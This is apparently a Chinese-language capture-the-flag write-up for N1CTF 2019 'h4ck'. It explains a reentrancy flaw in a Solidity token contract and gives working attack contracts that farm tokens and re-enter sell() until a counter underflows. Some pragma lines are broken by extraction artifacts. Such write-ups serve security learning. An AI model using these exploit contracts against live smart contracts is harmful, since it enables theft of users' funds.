Re-Entrancy(2)
什么是重入攻击
假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。
每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。
N1CTF 2019 h4ck
题目合约0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6 攻击合约0x8Ebd3958CeA078271cce190b6be6e2d73c37a1A2 源码
pragma solidity
{ #0}
.4.25;
contract owned {
address public owner;
constructor ()
public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public
onlyOwner {
owner = newOwner;
}
}
contract challenge is owned{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public sellTimes;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public winner;
event Transfer(address _from, address _to, uint256 _value);
event Burn(address _from, uint256 _value);
event Win(address _address,bool _win);
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);
uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];
uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;
require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);
balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;
assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}
function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}
function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}
function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}
function kill(address _address) public onlyOwner {
selfdestruct(_address);
}
function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}
}
分析
最终目的是调用到winnerSubmit函数,但它有两个require限制。第一个限制本来就是满足的,主要是第二个限制条件需要达到。
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
在sell和buy函数中都有对sellTimes增加的操作。
buy函数中存在薅羊毛攻击,同时要求每次调用时传1 wei,然后让sellTimes[msg.sender] = 1。
sell函数中明显存在一个重入攻击,但有四个条件限制。限制了如下操作:
- 限制了调用函数时参数amount>=100
- sellTimes[msg.sender] > 0 可以先调用buy即可
- 这个限制可以先通过第三方攻击合约薅羊毛攻击然后调用transfer转账给攻击账户即可
- 题目合约的balance本身就是很大的。
达到条件后最后会进行sellTimes[msg.sender] -= 1;操作,这里很明显存在溢出,溢出之后就能达到winnerSubmit函数的第二个条件了。
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
攻击
部署攻击合约,攻击合约需要先调用一次buy1
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;
import "./source.sol";
contract exp {
address instance_address = 0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6;
challenge target = challenge(instance_address);
bool status = false;
uint have_withdraw = 3;
constructor() payable {
}
function buy1(){
target.buy.value(1)();
}
function pay() public {
// withdraw
if(have_withdraw >= 0 ){
target.sell(uint(100));
have_withdraw = have_withdraw -1 ;
}
}
function getflag(){
target.winnerSubmit();
}
function() payable {
target.sell(uint(100));
}
}
部署薅羊毛合约
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;
import "./source.sol";
contract Hunting {
address instance_address = 0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6;
challenge target = challenge(instance_address);
constructor() payable {
}
function buy1() payable{
target.buy.value(1)();
}
function transfer1() {
target.transfer(address(0x8Ebd3958CeA078271cce190b6be6e2d73c37a1A2) , 1);
}
function Hunt() {
for ( int i = 0; i < 100 ; i++){
buy1();
transfer1();
}
}
function get() public view returns (uint256 balance) {
return address(this).balance;
}
function getBalance() public view returns (uint256 balance) {
return target.balanceOf(address(this));
}
}
调用hunt函数,调用三次能让balance+300以便重入攻击的次数足够让sellTimes溢出

此时攻击合约的balance应该是301.

然后调用攻击合约的pay函数继续重入攻击,可以看到此时已经溢出

最后调用getflag即可,查看题目合约的events即可看到调用成功。

总结
在看这题的时候,题目的逻辑捋的比以前更快了,不过这题的逻辑确实也比较简单,有几个函数都用不上,思路也比较清晰。以后得多用本地调试,真的很好用,除了第一次调试的时候看着一堆opcode头皮发麻,但后面对着opcode表调试勉强能看懂了。